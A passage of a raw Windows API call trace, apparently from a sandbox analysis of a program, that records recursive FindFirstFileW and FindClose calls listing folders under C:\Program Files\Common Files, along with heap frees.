[0196.303] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.303] GetProcessHeap () returned 0x550000 [0196.303] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.304] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.304] GetProcessHeap () returned 0x550000 [0196.304] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.304] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.304] GetProcessHeap () returned 0x550000 [0196.305] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0196.306] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0196.307] GetProcessHeap () returned 0x550000 [0196.307] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0196.307] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.308] GetProcessHeap () returned 0x550000 [0196.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.308] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.309] GetProcessHeap () returned 0x550000 [0196.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.309] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.309] GetProcessHeap () returned 0x550000 [0196.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.310] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.310] GetProcessHeap () returned 0x550000 [0196.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.315] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.316] GetProcessHeap () returned 0x550000 [0196.316] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.316] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.316] GetProcessHeap () returned 0x550000 [0196.316] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0196.318] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0196.318] GetProcessHeap () returned 0x550000 [0196.318] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0196.318] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.318] GetProcessHeap () returned 0x550000 [0196.318] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.319] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.319] GetProcessHeap () returned 0x550000 [0196.319] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.319] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.320] GetProcessHeap () returned 0x550000 [0196.320] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.320] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.320] GetProcessHeap () returned 0x550000 [0196.320] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0196.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0196.322] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0196.322] GetProcessHeap () returned 0x550000 [0196.322] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26380f0 | out: hHeap=0x550000) returned 1 [0196.322] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0196.322] GetProcessHeap () returned 0x550000 [0196.322] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0196.322] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.323] GetProcessHeap () returned 0x550000 [0196.323] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.323] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.323] GetProcessHeap () returned 0x550000 [0196.323] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.324] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0196.324] GetProcessHeap () returned 0x550000 [0196.324] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0196.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0196.325] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0196.325] GetProcessHeap () returned 0x550000 [0196.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0196.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0196.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0196.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0196.328] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0196.328] GetProcessHeap () returned 0x550000 [0196.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0196.328] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0196.328] GetProcessHeap () returned 0x550000 [0196.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0196.328] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.328] GetProcessHeap () returned 0x550000 [0196.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.329] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.329] GetProcessHeap () returned 0x550000 [0196.329] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0196.330] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0196.330] GetProcessHeap () returned 0x550000 [0196.330] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0196.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0196.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.333] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.333] GetProcessHeap () returned 0x550000 [0196.333] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.333] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.333] GetProcessHeap () returned 0x550000 [0196.333] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0196.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.523] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.523] GetProcessHeap () returned 0x550000 [0196.523] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0196.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0196.525] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0196.526] GetProcessHeap () returned 0x550000 [0196.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0196.526] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0196.527] GetProcessHeap () returned 0x550000 [0196.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26360e0 | out: hHeap=0x550000) returned 1 [0196.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0196.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, 